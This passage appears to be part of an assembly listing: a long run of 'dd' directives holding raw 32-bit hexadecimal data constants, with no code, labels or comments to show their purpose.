0FCD93569h, 0F962C3E5h, 7A06F42Bh, 12E53CC4h, 76181DEEh dd 0F4E4F3ABh, 7655F49Dh, 0C57BA604h, 41262023h, 6EDA4FFCh dd 2DD05D8Eh, 4DF85EAEh, 0ED442571h, 63965356h, 34815875h dd 0DA461641h, 25DCC616h, 5609F16Eh, 40BC0CB3h, 4CC9EE2Bh dd 0B2D7E90h, 4FE3549h, 685153DCh, 94D18256h, 6672508h dd 1E2EDF7Eh, 8A49CDC4h, 67BF0E39h, 2262EAD1h, 2C317CDFh dd 6B6598E7h, 58559280h, 0BD4DAC02h, 3864379Dh, 8CB6B6CCh dd 7C76C66Fh, 0C24D84D7h, 0CA56E83h, 159D9519h, 1899D501h dd 0D132ECA3h, 615E8D2Eh, 8C216520h, 86312D22h, 0EDB18BACh dd 0E3396868h, 9FF6D8A6h, 1D3E14E0h, 0B7BD6717h, 0C32DCC81h dd 67E5381Dh, 1D138B24h, 0CEE8C165h, 82DA1C84h, 656A3301h dd 3F82EC7Bh, 0BB68E8Ah, 0ED8CA533h, 7782C36Eh, 1519B9C5h dd 0ACE7146h, 6CF37705h, 0D8BEDBEFh, 0B337F5D8h, 5634B3A3h dd 9309B31h, 27638BDBh, 0A505911Eh, 143C02D3h, 0F829AF5Fh dd 0D985DB72h, 4B0F5452h, 0B9011A0Ah, 67C1B018h, 0B8DC09B7h dd 6D99EB47h, 902903ADh, 0D884CE81h, 7B70CB87h, 658A3A5Ch dd 135EED8Fh, 0F912732Fh, 0CDC7DF1Dh, 5E057793h, 65EE07FEh dd 0CCE27CEEh, 6F43D8E8h, 0DA680FFh, 3FAC5C58h, 0FC54505h dd 2460BDBEh, 68671BC3h, 7882F6A7h, 0E787F9A8h, 99FC3083h dd 7A412686h, 6965A02Bh, 0E7401028h, 60E07872h, 2E5E6051h dd 2872CCE7h, 0C556E81Bh, 0B8F35C64h, 605AD301h, 4129CDEEh dd 14ECF65Dh, 32C510FCh, 5F124C6h, 7897893Dh, 4B8D2F12h dd 112528E2h, 0B1C703Fh, 645A7125h, 8D827E5Ah, 2F15ABB3h dd 0A444375Dh, 64AC8DBCh, 0C7106426h, 0A11FF6D8h, 13E21389h dd 0BC5DFEDBh, 0F5BF07D8h, 82B852BDh, 8C4C82F6h, 51A08CD3h dd 1E318D50h, 4ADFDE61h, 6B34021Bh, 72B4D8A2h, 9286FECCh dd 587202B3h, 23263AD2h, 67827778h, 49A3A60Fh, 40DE074Bh dd 74F0CAFh, 5E8833F4h, 0FBC991Dh, 0A224FD11h, 66444305h dd 298E98DEh, 0FE4EE649h, 4E11C14Dh, 0FEF8BF16h, 461430CCh dd 495A2B5Dh, 94207138h, 0E5D3870Dh, 5DCAAC17h, 130920C4h dd 9FC4A1EFh, 67E0A3A0h, 0B859ECE4h, 3AC1B340h, 986781C5h dd 0A16B9E9Dh, 9C9D391Dh, 8381D39Bh, 27A9B6Ch, 2E3D2657h dd 87A7142Ch, 3E9134CDh, 1070BF1Fh, 0F6D8D247h, 766EB44Bh dd 0DE1CAE6h, 0D9FC39FFh, 57216C2Eh, 35499AEAh, 767A8B3Eh dd 7B6D6416h, 6179B27Eh, 61658B4Ah, 9F6643E6h, 0B0BDD292h dd 0F06BDE12h, 30BDDDDDh, 0F00BDE17h, 0F36E3E7Dh, 3C38B0F5h dd 4EC1EA91h, 83212CAAh, 946ED684h, 0F0167864h, 1B286981h dd 2BEAEDFAh, 67E27648h, 9DC3A863h, 882754DCh, 85B6E89Ah dd 98B6637h, 27B07ADBh, 8A36DE2Dh, 9FA5A8DDh, 67E2910Eh dd 9AFF43AAh, 69BF6810h, 0E0D042Eh, 281E8172h, 4E2CA2B6h dd 5CC6858Fh, 2A38ED6Ch, 95E554Eh, 1D2947BDh, 2B3338B1h dd 8A9A3C8Fh, 0A7F2A5EBh, 2A820810h, 210A697h, 0D9661026h dd 9DF52206h, 15FCECB6h, 0A65E64B8h, 7F1ADA1Dh, 184E80D8h dd 70389C44h, 7CB650ACh, 8B5EAAA2h, 0FF210076h, 0C190B20Eh dd 0D1D09473h, 4835E155h, 6831AF66h, 68C1F3A4h, 6A5E58FCh dd 0BEF39656h, 82806307h, 0AD955F37h, 0E7FBD3D1h, 9C5E9829h dd 714B3886h, 0FED8C87h, 0DC32A067h, 1FA16BB8h, 0DB0C3137h dd 24BACE3Fh, 5E9DE2DEh, 0C06E7F0Ah, 5A6E1F6h, 14A177BEh dd 3DC31D7Dh, 2E886688h, 3DF7C5CAh, 0A729AC54h, 0E5CB7BCFh dd 17F2B322h, 0C604626Eh, 86342C0Dh, 0A11E2F99h, 1054FD88h dd 5B36DB71h, 4DB598A2h, 81CDEA9Ah, 0C35A542Ah, 242C82AAh dd 5F1ADF80h, 73FF2312h, 0A1C684B4h, 0FDB31BE5h, 89AFD99Dh dd 9314F877h, 9C50AD38h, 4D285854h, 0ED1B7DF9h, 4066F180h dd 0BBDD6652h, 0E5DC0DEDh, 0C77B46DDh, 0B0A27A63h, 0AE720D88h dd 5C0D0579h, 6D4383B4h, 0FE0E5148h, 0D3DACF1Bh, 989851F1h dd 34F795F0h, 24B69A3Ch, 0D64CACD9h, 4B5CFD2Eh, 335EF267h dd 8E64E5B3h, 0B3670EA0h, 39A1029Fh, 7F13D43h, 5F3F01A3h dd 7D4B4B48h, 1636C955h, 2350B8D8h, 550EEE00h, 589EBE02h dd 4539AB8Ch, 7E37FE69h, 9FB9C5B3h, 82A29F46h, 0DD7BEF2Ah dd 0B6496BECh, 86F4B745h, 0CBFB8A02h, 0B30191BDh, 5264DFFh dd 9260D9B4h, 0EF8BFE53h, 7A5534C1h, 53781A08h, 0FA70AF46h dd 7671DA43h, 650F4FC6h, 64063D3Bh, 4C3E0C7Ah, 5A4EA18Fh dd 0C7895D94h, 81D3A453h, 0AF61707h, 0A264D123h, 0B853CA79h dd 0FF0BDEC9h, 0E9943B96h, 3FAAA3D5h, 5F670606h, 837198Fh dd 0FF488F16h, 0DEDBDD83h, 0F3DC3D05h, 71D2827h, 0E1513EFFh dd 0AFC34BCFh, 6755F890h, 2E2A9A6Bh, 0E3D26370h, 0E5A48087h dd 0C78D4D30h, 0FC17A272h, 9A5BE194h, 7DA37AA6h, 0D42B0B3Dh dd 67C6A79h, 31E949EEh, 0AB3E932Fh, 0D4216A78h, 32BC1ACCh dd 0A9005703h, 4D7C1C62h, 98A3F706h, 0D7AA63F1h, 5FD5760h dd 438CE0C9h, 0D582FE36h, 77A37B2Bh, 12E7E30Fh, 75BFDB87h dd 1CEB7F96h, 7F9B56FFh, 6B7F9C6Bh, 0A26B7F82h, 0FF926B7Fh dd 23E96B3Bh, 0DFDA20D7h, 26F0C82Bh, 0BA160A04h, 29DCCA1Dh dd 8B71E928h, 705AC14Ah, 0DB4532DEh, 86B151B8h, 0AA7D8776h dd 3942826Ch, 316C9F97h, 252E3188h, 47051938h, 957D1ACFh dd 0D97D167Fh, 0B408CF5h, 0EB59AC0Dh, 0C101BE54h, 6A5470CBh dd 509DE53Dh, 0E5AFF9F6h, 0D576D582h, 0ED6FE51Bh, 4D4E15EFh dd 0B7310E39h, 9EB7F69Eh, 0DFDA8181h, 24F3003Ah, 843F09DAh dd 0D6FE7A6Bh, 88F97F61h, 0CFA7B2BEh, 7F89372h, 0EA81DD0h dd 817DC7C7h, 30BF41F3h, 0ED803CE2h, 0ED5E6D58h, 9D939B54h dd 0BB63A70Eh, 0E6473960h, 5E30D949h, 906161E3h, 6430C3CCh dd 0B925AC14h, 6D7C666Bh, 7EC6CE4Eh, 0E064F2E9h, 982FE0C8h dd 28C89EA5h, 685688B7h, 65207156h, 0E04066D4h, 7459B717h dd 0AB43CF1Ch, 0B825F114h, 0E71BDF8Bh, 0F82560B1h, 2794520Bh dd 2EEC6006h, 23EFA61Eh, 6CC7935Eh, 90B536A6h, 40A5A6BEh dd 93815AB3h, 0C9E0CD8Ah, 0A0ADD119h, 386356C5h, 0C6B42AA8h dd 7E986E06h, 981E7751h, 95D99C2Dh, 0F10DF503h, 8528292Ah dd 83ED6176h, 0B2300A94h, 0A32337E5h, 0B4678ADCh, 83283C46h dd 0DF119128h, 378C2DD7h, 0C6F9E656h, 153A46DBh, 6D1EF9ECh dd 96BF3EEBh, 0DEE9272Eh, 3A7DBD06h, 9BB936Eh, 0D23130DFh dd 5B1BE075h, 398A76A4h, 0EA32F1Eh, 4A782946h, 0DA34BA0Ah dd 0AB4159B2h, 0DA1C535Fh, 8899A94Eh, 608D5A60h, 5A9D4085h dd 0FE23ADFCh, 0D6FE25ADh dd 0F86FE541h, 4CB7B2B5h, 0ACCBD49Ch, 1B42A017h, 0DBD9F8CCh dd 0D3CFC56Bh, 0DF5A613Dh, 0F1669870h, 67955817h, 61FDB4C3h dd 9674BC9Ah, 0EB8CC0BFh, 0B41685C6h, 2E9E293h, 0B718DE9Eh dd 0D53C1F67h, 0B02F9CF8h, 7AB246D4h, 51A3DB63h, 5B025A8Ch dd 0CF6E9C93h, 4E501793h, 604A054Dh, 0D9E9CD8Dh, 82D94E01h dd 4091E288h, 0D3C38241h, 0CBA98886h, 488469D5h, 421A7874h dd 0D9B51888h, 5B977E82h, 82CCD579h, 1B8C3659h, 4A5614Fh dd 1D7F4F4Ah, 5713AB17h, 596C9BC0h, 0F112BE01h, 0F805662Dh dd 4F28F193h, 5DC32E33h, 0B91CFC04h, 35B02120h, 0AB59EDCEh dd 26DCBDC5h, 0C2DF85DFh, 1CB366D5h, 0A01D56E3h, 64388D1Ch dd 22DCBA8Bh, 0C3D57C9Bh, 0C43D57CCh, 0C0C3A502h, 0A9E0E3D5h dd 496AE8EFh, 40E18592h, 0F20AD0E9h, 4B620308h, 0FE04A834h dd 0D6803982h, 0EBEF5EC2h, 0E4F2E959h, 0A7262460h, 5867DB6Ah dd 0D6831BC5h, 0C7A01263h, 8BC50404h, 17C9A497h, 6CED0BCh dd 20C514E9h, 8BB3A328h, 0D2D995h, 0FB91621Dh, 29DC1EE5h dd 61EDF17Eh, 0E195AB5Fh, 80D8B907h, 0B057A8B9h, 0FDAE8126h dd 0D15D8C18h, 0EF51F301h, 0F4D0C7C4h, 0E3ADB17Eh, 0D6BB7428h dd 5E2654E9h, 2573A073h, 3736309Eh, 0CEBE863Fh, 0E735AF81h dd 91D2E547h, 56EB52CCh, 9AD4BF93h, 51AB6475h, 0F21F223Eh dd 0CD028832h, 0FE7EE103h, 0BF7F6D61h, 0CFA83695h, 9BAA77EEh dd 0E30FA4A0h, 0B34DFBF6h, 78C39D94h, 46623719h, 45BE4368h dd 0E90FDF8Dh, 7951FB6h, 0E5B6C5E5h, 36CB97CBh, 2B144DCh dd 0C41FE0BFh, 459E2D0Ch, 0AC969FEDh, 95B9729Ch, 4EE03CBEh dd 30518BE0h, 1368BC9Fh, 67177DD3h, 5DB7338Bh, 44AD069Ch dd 6AD6DA2Ah, 2F083B5Bh, 0B5D5D439h, 0E7AF1C71h, 330577B0h dd 83252EDCh, 9BCC2991h, 1C25CA5Dh, 7B90BF31h, 0D8B6290Fh dd 0B11CBB57h, 0E2E2F6AFh, 0F3414BBFh, 0E00C3072h, 0E11C6306h dd 0D29CB9F3h, 0DB7C916h, 73968DA0h, 28A06951h, 0A95BA419h dd 264DB64Fh, 9E238E17h, 0D93EA1FFh, 0A4FB06BBh, 53AA176Dh dd 0FC42924Eh, 820A0D83h, 4F7CAB72h, 8A61565Ch, 0CAEF6AD4h dd 0CD48B3CCh, 0D9BEF2E7h, 65403626h, 5A062536h, 0FA7E9F07h dd 0E1C9AF69h, 0C69EDAF0h, 3536285Dh, 0BAF8791Dh, 43A0508Ch dd 129B50F8h, 7D8DC260h, 4F8E6F23h, 0FBA38C18h, 88D62AF9h dd 186D04DFh, 127906CFh, 0CD846B7h, 3A486AB3h, 0B83B4B7Dh dd 106AF831h, 0B9803875h, 0B9A4C55Fh, 0C4A070B9h, 4A38820Dh dd 2F3B80BEh, 503FD4DCh, 6D653E8Ch, 0FC0866E5h, 4E5C2505h dd 0BE6A0B70h, 745A5C01h, 50A755F1h, 0FB73D247h, 0C2003C75h dd 74A0679h, 620D57A1h, 9DA6A2E7h, 379D8388h, 0E665650Ah dd 0D7554BFh, 507CA50Dh, 0CD097E53h, 1C538683h, 1B02E537h dd 9D01F806h, 0A958293Dh, 38828BF5h, 7F5125FDh, 6C5FD049h dd 0FE924BFAh, 9FBA8162h, 4B02E0ECh, 51C18F89h, 0E1AAC0ADh dd 6295050h, 3B9B35C2h, 5D9389CEh, 0A028D1BDh, 0E9A38F94h dd 0C18E1D28h, 2B13A2A0h, 91848C33h, 0C6E68B6Eh, 3D1C0182h dd 86F10E50h, 293D55EAh, 9762BE17h, 92EF95B4h, 10AAE546h dd 3D57D1EAh, 0D7C3FEC2h, 649BE523h, 53B925EDh, 0D8BA1338h dd 0CFAADABh, 6865E5C3h, 0C5A05F9Ch, 1B973390h, 240DF594h dd 5CEE64C2h, 4CE82D2Fh, 0E98EFCF6h, 0B7820826h, 12D06F2Bh dd 148C647Ch, 24A8B5D1h, 824FDA0Fh, 0B9F59056h, 1F459A5Fh dd 0E78A7FF3h, 9CEC6174h, 0C66AA4E8h, 0E599BCADh, 4C46F136h dd 48AEBE9Fh, 0CA5C1A76h, 5550FF4Bh, 0F01757E5h, 581A1B6Ah dd 0F78B9740h, 5AB83946h, 8A23A6ACh, 0A3D47A77h, 9CA258F1h dd 0DA83ED8Eh, 7EA9CE20h, 0E2B278C5h, 93E0BF13h, 0AC947ACh dd 3E0A6E2Dh, 0AEF0CE3h, 0AAD7CBBEh, 0DA1F134Ch, 0A360AAD6h dd 0AB73AE96h, 0FAC819E9h, 6567393Dh, 6F0CF4A0h, 0F1E07162h dd 0E9A09C1Eh, 0E8CF853Bh, 43D3853Bh, 497D21FEh, 0A44B2B99h dd 1CE57934h, 52507EA7h, 27A9CDBCh, 7EDEBC40h, 0B7CA9BD2h dd 0B8BA503Eh, 0B40ED88Fh, 0B58E1D3Ah, 18A4E3BFh, 0D095E725h dd 0A1DC3690h, 3672D14Ah, 0AD7CE8CEh, 59BC4C71h, 0CE3A1296h dd 368EBD6Dh, 0FF29C7FEh, 52F2A30Dh, 7EA15CD0h, 141FB369h dd 0C2D5AFB5h, 0ED38C42Ah, 2F9632A3h, 0C247C6FFh, 8E9C9671h dd 4F7D4DFDh, 9AE20D8Fh, 6BC9B20h, 0C3AA8FF9h, 0AA10CFBAh dd 147859ECh, 896D1FA3h, 0CED66DDCh, 489BF462h, 0DF753DFBh dd 3FBE85Fh, 7500C29Dh, 5030550Ch, 0E30C7780h, 983A8B18h dd 585754BEh, 30E3FE38h, 95CC3E4Ah, 32C8FA26h, 0EAFC4AF1h dd 0B2F20372h, 0FAB76EABh, 0B0D76E2Eh, 9A5A82BCh, 7976E5DBh dd 0CDAB7B18h, 3E782D3h, 0D7370230h, 777AB2C6h, 0DBA5EA61h dd 0FFF70079h, 0EA5C53EAh, 53C52DE0h, 0EF89C785h, 0C1A885C7h dd 0E2F3ACB2h, 0BF206474h, 0F9434BC9h, 0CB2D10CBh, 0BC38973h dd 34160488h, 0E82DF969h, 0BFCFCA46h, 0EC6C950h, 0C6407E88h dd 0A7331221h, 39A61C1Ch, 77687D05h, 20725242h, 48A6892h dd 0E125172Dh, 95F01AF9h, 3B171A7Fh, 5D31D0AFh, 81AE5BD8h dd 0DEDAE7EEh, 0DF86BCAFh, 0E1A70E50h, 0C9DF3D4Ah, 993BE36Ch dd 7686345Fh, 18CEFF32h, 920CC9DEh, 1E556BCEh, 4A837233h dd 9EEBF193h, 0EB9447Ch, 23C2287h, 968FE5D2h, 0B0A67A26h dd 0FBE53698h, 15C9150h, 252ED177h, 0CCC6AF8Bh, 7C2C0B7Ah dd 0EA7ECF9Bh, 96DBE07Ah, 0A8BB2A09h, 19155985h, 33A01DC6h dd 6E6E5680h, 56768661h, 6F990178h, 7D491AB5h, 18E51A0Fh dd 56DF289Eh, 0CE2C8333h, 98CCAA53h, 0A4CC5034h, 3AD19929h dd 0E699935Fh, 8E53E4CFh, 0E006DC6h, 0B926746Dh, 3F85F309h dd 0D2624818h, 96BEEB2h, 812E525Ch, 0FC58E5BCh, 0D2639A06h dd 127E121Ch, 0D563F718h, 69ED669Eh, 46369ED1h, 6066A1DEh dd 40C1B7A0h, 0C6DDF56Fh, 0E5456060h, 0D0D4ADD0h, 172B8CD8h dd 0B82287B8h, 89A70802h, 58221C50h, 1C861AF0h, 0D01E704Bh dd 773688FAh, 0BC1ACD1Ch, 896B680Eh, 668E3F16h, 0D1CB47F6h dd 7401F815h, 57D1CCCDh, 8CA287D5h, 2EB42890h, 740A3983h dd 6E4ACCE2h, 0C380DFC3h, 8DAA9FE0h, 2AF16301h, 3ECB49E1h dd 7E2F113Bh, 675A53C4h, 9CF06D51h, 0CB83053Ah, 0DD54589Dh dd 0DB8ADB1Ch, 0D8CCD087h, 0BEAE1766h, 0F31D21B9h, 2E86B069h dd 0CF773C9Ah, 3F1DB49Bh, 65310FB0h, 0D0BB3D59h, 14DC3C97h dd 37D10B87h, 9DA92FD9h, 46B38B31h, 0D0A53F1Bh, 0A15A972h dd 0FC99F4CCh, 0E87BD646h, 3DB3B207h, 0C5A6F521h, 3B27ED39h dd 72A315AFh, 0FC6CDEB3h, 62A87CB7h, 0CC1ACF76h, 5F5BAADDh dd 1F2DDA3Bh, 6756EEEAh, 99CCA0A6h, 0D42B8399h, 6FD21733h dd 0D0A6FD06h, 3DF81CEFh, 0CF2DFDA6h, 801DD6C6h, 0DB8C6D7Ah dd 0BFDF1676h, 61D3F81h, 0CC0D37C2h, 0EE1F223Eh, 0CA1FC830h dd 0EE8E9058h, 44CCEA63h, 0BF4091E2h, 0F89C1171h, 46D33A9Fh dd 966C3A14h, 368BB8FDh, 0EB63F2B5h, 0AD61F82Dh, 0E028F3DBh dd 0B3C0443Ch, 0B2BC5517h, 3FF4A9F8h, 541EDCAAh, 42FEF9D9h dd 0CFC285C8h, 0F70C3CDh, 5AA370Dh, 43BD6C82h, 794F8C9Dh dd 7FC8C3F2h, 0F04F20D8h, 801DE4Fh, 70322EE9h, 0F277C6AEh dd 46176BF1h, 97025240h, 97429E5Bh, 4E124E67h, 1767E10Ch dd 0B3C14126h, 5712A44h, 0E21B31DDh, 746F24C8h, 0F464DBEDh dd 6B7C0AE1h, 71B06B24h dd 0E3A53C9Ah, 0BEA318A8h, 27DF644Dh, 0D047E0E6h, 0FE30DA53h dd 3E818899h, 8FF00FC2h, 0EB66D63Dh, 0F04D2738h, 167F2365h dd 6A37CDBCh, 0A37CA310h, 0A796E946h, 2648F276h, 0B54E5DB8h dd 0F0AC5E0Fh, 79D3C4A2h, 52F04A7Ch, 55E1FF74h, 1A8E7098h dd 0C25582FCh, 0EDDF3C86h, 8E9F2A70h, 0C8739F82h, 86DD24C6h dd 528F4E9Eh, 82CDD320h, 0E201E715h, 85B79D54h, 8F1FB78h dd 5CF495A3h, 6E67532Bh, 1F697AA6h, 94FC6357h, 0AA1532BFh dd 0A7C2D421h, 0D13D20E1h, 0B6C66663h, 0A8B0DA97h, 0B740C3F0h dd 6803E7A7h, 92B825E9h, 0B441EDD7h, 0A8FBF1Ah, 0A1DA35BBh dd 0EFE900BCh, 75CA9676h, 0C9FB56C9h, 0A46520ACh, 552EE5C2h dd 0AAA4BB3Eh, 74661681h, 0D12F9B2Bh, 0CFACBE49h, 0D87174CBh dd 9DE38786h, 2D57976Eh, 6F3B3A75h, 20ABFBE4h, 0D9C8B743h dd 4FD3164h, 3139516Dh, 82BD3713h, 46D31426h, 22957F67h dd 83D01EFCh, 1428728Bh, 0ED6835DDh, 0C6B4FE55h, 19C49AA7h dd 7E913BF0h, 739C8127h, 0ABD72463h, 3A9C9178h, 0E9A98A51h dd 82C89E8Dh, 0A6944889h, 0D6B2BB42h, 0D6C4EFF8h, 83613B86h dd 0B09AA056h, 57CCE3E7h, 0AE1415Bh, 44C197B1h, 0A6A7D350h dd 9E9763F0h, 9CC25F03h, 5231C14Fh, 0D5F1D35Bh, 660C3CC0h dd 37BE10BEh, 902E87Ah, 388B02F2h, 0C6D20DB9h, 529A68C4h dd 5B8C519Ah, 97265D69h, 38CBAC45h, 2C3BF047h, 9B8D7889h dd 2FF6685Ch, 8C05E335h, 3A16C4h, 88C91A67h, 85D003C6h dd 9A34E8F5h, 92B66E45h, 0ABE356F8h, 0CACA8DF4h, 9DD191F5h dd 0E8A18B9h, 6A6EEB7Ah, 0CBF08515h, 0FD5DFEAEh, 0F577FABBh dd 0D5DFEAEFh, 577FABBFh, 5DFEAEFFh, 77FABBFDh, 0DFEAEFF5h dd 67FFBFD5h, 4CD3057Fh, 89BA7F2Ch, 2DC01A5h, 600360h dd 1F7F8003h, 83804DE0h, 0FC02CF00h, 6A994018h, 26786662h dd 0B802A403h, 44006A00h, 334CEF80h, 0C668CF11h, 6E0976D0h dd 0F7436D11h, 1C610C3h, 4FC02770h, 58059E01h, 900CD00Bh dd 4987953Ah, 6DD89930h, 0A00F300h, 0AC025601h, 6803A805h dd 0C01EF801h, 0E002Fh, 1A7003BCh, 0D5801CE0h, 5801690Ch dd 80377000h, 0E005A007h, 39F8061h, 37807ECh, 39C00CE0h dd 90518980h, 79804Fh, 5AC0377h, 7680068h, 0B3C031F8h dd 0BC00AF00h, 600A7009h, 60046000h, 0DD89B44Ah, 60073008h dd 8052C001h, 40220075h, 18FC03Bh, 2E8019Eh, 27C02BF8h dd 5300A300h, 112C4C62h, 3B800EE0h, 3C004A01h, 0F00CD00h dd 0B0093C03h, 0E007A01Fh, 47C038h, 2C530023h, 1CC01F10h dd 12801C80h, 5E00B580h, 2B601100h, 0FC02740h, 0F8071E01h dd 803EC005h, 1DE00D7h, 10C01BF8h, 1304F440h, 0DD3940B3h dd 5CF0Eh, 12B0085h, 19A00AAh, 33F003BEh, 4700FD80h, 0C034E00h dd 89C4C03h, 1DC03F1h, 5AC03770h, 1F806680h, 0F00E3C02h dd 83801Bh, 29C026Fh, 4E300018h, 69B132h, 21600B3h, 0A7500CD8h dd 0D019D600h, 0F99E0BEh, 17802F70h, 3B00DBE0h, 1C00F601h dd 0F00D3806h, 119C4025h, 152013EAh, 25804EE0h, 0CD003500h dd 7806DF00h, 8045E012h, 57F00C3h, 30900738h, 0A4A1B781h dd 19B1378h, 3300560h, 0F507197Ch, 8037F000h, 137807Eh dd 1EFC030Eh, 2FC01F60h, 0F00A7E00h, 8076803Dh, 6A0007h dd 0AC0356h, 13B80428h, 76E00D20h, 19802480h, 11805600h dd 19F23E8h, 5200DFCh, 3C82AAE2h, 1173C066h, 2B00DDC0h dd 5805EE00h, 0D0075007h, 0E015B00Ch, 1BF0017h, 0E3801E8h dd 3FC03EF0h, 18033E01h, 3E004801h, 81DC00B7h, 11600FCh dd 1598052Ch, 138F3CFh, 9E6E14FAh, 0B44031FCh, 4DD6BFD6h dd 0D8EFB4E7h, 2F001E20h, 11600B80h, 12402A40h, 34600D80h dd 0C076C4D6h, 8F3C14F3h, 78041C01h, 67E016h, 16803DFh dd 95801A8h, 33C011F0h, 8045F7E0h, 0A12B00C3h, 9A006B3Eh dd 0DC007601h, 800CF40Dh, 698064h, 534300D1h, 803DEC4Ch dd 0E7801Eh, 778049Eh, 9E1B7EC2h, 6B000Dh, 2C0096h, 5300598h dd 94327860h, 8061C021h, 19E0117h, 0C3C029F8h, 22006D00h dd 35600780h, 1C8052C0h, 64805480h, 88C01B00h, 0E018EA15h dd 37803Dh, 1BF00F7Eh, 7C039F80h, 0C011A00Fh, 2008B005h dd 60092005h, 6019801Ah, 0A1F208h, 11C03F4h, 6700FD8h dd 10083BD2h, 0E29720Dh, 3E62760h, 0F2B37FF0h, 0E4D1EE32h dd 0CCA10FD5h, 0E7E00DBh, 11C022F0h, 73700EADh, 6652FB55h dd 6CCA5CEBh, 0B69BBBAh, 12DA6DB3h, 9979CF76h, 0E5E52D9h dd 335F7DBBh, 0A00BBED8h, 0DB3EFFBBh, 0ECD7FB60h, 7985FBB0h dd 0F34BDB06h, 0CB8EEC2h, 23212D83h, 0D8BE3EECh, 1C5FEB60h dd 0C8B3FF76h, 8FB60h, 0B771BFDFh, 6EF736C1h, 9E07BEFEh dd 0FB0EEEFBh, 60C7BA2Bh, 0EC27BE2Bh, 0C189627Eh, 0B092D4F6h dd 0C18576BBh, 0D84561B6h, 0B06A5DDDh, 0DD8696F5h, 6C1B757Fh dd 0EEC3BBEFh, 0B60D2BBDh, 0F84657E7h, 95FF04AFh, 75F8EE3Ch dd 0EBB5DB06h, 1ECDFBF8h, 27A66D83h, 83566FECh, 21A736C1h dd 2DF55EECh, 5BE2AD83h, 649B7761h, 614BB5B0h, 0FEF03BF7h dd 0DEDB845Eh, 6FCDB06Ch, 0F0DDBCE6h, 0EFBDA55Ch, 1DB06CDFh dd 97F61CD8h, 4B60DDB2h, 1F761EDBh, 1DB06DDEh, 37DDCDD9h dd 0DC016401h, 19B00Bh, 0AF71D897h, 0CF8071F8h, 3E417001h dd 0C0296005h, 3B1F0306h, 55EE0C31h, 5B0055Bh, 0BFA63F00h dd 67F008h, 771116BCh, 3187E0CBh, 0A36EF5BCh, 0DDE30616h dd 0D6C191F6h, 634F11F1h, 0B6C180F1h, 8E24601Ch, 0CF177ED9h dd 3066136Ch, 0B48069DBh, 5A6D986Bh, 1DB302h, 0B32D7798h dd 7158019Dh, 0F37DB31Dh, 41B667Ah, 0D9912BB8h, 0DE9401CEh dd 7B6CC0h, 0DB32376Ch, 23E00CFh, 0B3137858h, 4ECC00F5h dd 8016B662h, 0B6666EBBh, 0B81E01F7h, 75ED985h, 6656E278h dd 0D99939BBh, 71300AFEh, 54527582h, 0DC66CDC2h, 0EFA7A8ABh dd 0ADA358FEh, 2A18D63Eh, 8DF32DA7h, 61F9D6B6h, 0D19E70F7h dd 0DDC79236h, 47E784FFh, 0E13F8800h, 0BA4EDA36h, 0FDC67BF9h dd 0FBC2DB46h, 0CFE57BF9h, 9FEAB68Ch, 0DB2FC385h, 139B463h dd 92EBD5DCh, 6FD63516h, 4C6EAA6Ah, 0AC6ED772h, 58C4DFAAh dd 0A005456Eh, 0BC86AC35h, 7B68D278h, 0B6D194F8h, 96FBC01Bh dd 7BE4F6D1h, 0C01B5B46h, 27F800Eh, 0E78013EDh, 3EBE0E00h dd 93FBF696h, 22C7E9Ch, 4F7806DEh, 11FBFC3h, 0FB0C8EE8h dd 0F57C6BEh, 87F34E7Fh, 0C27A9FE9h, 813F8B68h, 6BB031F9h dd 0D2ED7AB4h, 71B8A9D4h, 7FE327EEh, 0EADDF699h, 0BC3FA9BEh dd 0EDED259Bh, 7D3C53DDh, 0B9FDBD1Ch, 0FF76FF1Fh, 0BDB3AFEFh dd 967B38F8h, 5310DDA5h, 0EEFAC339h, 4DF53FDEh, 0EB277EDDh dd 6FF4765Ah, 0F38DA71Bh, 0D5C1795Fh, 6FAD3139h, 7EEAFEAh dd 9FA889FAh, 4E9C7AEBh, 0FF9C76BFh, 94EE7184h, 0E3368D2Fh dd 66DB4687h, 9E0B7E78h, 0A14D5B49h, 0B7980D2Fh, 0E5F86290h dd 0C8102FD8h, 0E1C6126h, 0B86926C3h, 53E0AF9Ch, 6B3E0578h dd 0AC30E1C7h, 0A7A70227h, 8E83E749h, 74E43F1Bh, 0F343BF0Ch dd 0DB868F7Bh, 8BE1EE07h, 21BF10C6h, 0A0D2FA06h, 61A89591h dd 8B74119Ch, 0D91B9F7Dh, 0EE30919Ch, 9DEB906Eh, 0C221AFE0h dd 0DF206DDFh, 4B3F818Fh, 8083BF84h, 0C77F02ABh, 0FB842999h dd 0BE52E02Bh, 11DDB230h, 18E096F1h, 113CFE00h dd 1DC044FCh, 22A77E06h, 2E03F6C2h, 8C36C203h, 1EFDFD86h dd 9F63F7C6h, 7F91DD85h, 0ABF47557h, 1D55FA3Ah, 7E8EAAFDh dd 7FFF4755h, 2DE7A3A3h, 592BCE2Bh, 0A3BD4F62h, 0B40EAEAAh dd 6E4225B3h, 1AEE8969h, 0C5AB8B66h, 0B1B1A93Ch, 68E8A37Ah dd 0DD5F5FACh, 0C55454D4h, 757967AEh, 85D54DF5h, 0EAAB1B95h dd 0E34CD9AAh, 0EABAEA8Ah, 62EAA6CAh, 6506AC49h, 0BBA34DF1h dd 0A82C56B2h, 6ED6746Fh, 7AAEAFBCh, 0F56F3AD9h, 0C5DD917Ah dd 2BAB1AF2h, 9729EE45h, 0F9652B1h, 0BCEAC4A1h, 76B15AC6h dd 139D657Dh, 6FD6D53Ch, 8A1A2F64h, 5655169Ah, 846C539h dd 731B10EDh, 92C321D9h, 0CBE6CAEAh, 261AB23Ch, 1BAB146Ch dd 6B3FC32Fh, 0A808DA28h, 7DABACAh, 0DEB40B2Eh, 8516ACE8h dd 8DB5CD8Dh, 40371BF5h, 8D955C9Eh, 0EAEB95B5h, 0DD6CDDAAh dd 41725057h, 283285BFh, 7F7F5DA9h, 51B4BD5Eh, 0A5ADCC64h dd 0A916A0BCh, 0CAFB9009h, 2C677C2Ah, 0A723CB4Dh, 5770C04Ch dd 1C4D58E4h, 383437ABh, 940F452Ah, 374607C5h, 0B18293A4h dd 4777F07Fh, 25736D63h, 6BEA3Eh, 7C034BCBh, 0E2C86326h dd 8EA92AFAh, 0DCAD2F7Ch, 0C7D8EC00h, 0D50D6586h, 0FD92F51Bh dd 4ACEA232h, 2AA0903Ch, 0B632A8h, 0D7057E43h, 0A92DA444h dd 2EAA7287h, 0F5358DAh, 38C47298h, 0D58934B7h, 376A4A1Bh dd 0ACFDB354h, 7ABAB1A0h, 0C6BAED49h, 0EC2DC6CAh, 0D95FF23Ah dd 8D8D0A24h, 0DD8C8DF5h, 0AFD779C9h, 6AAAADCFh, 0D8C22684h dd 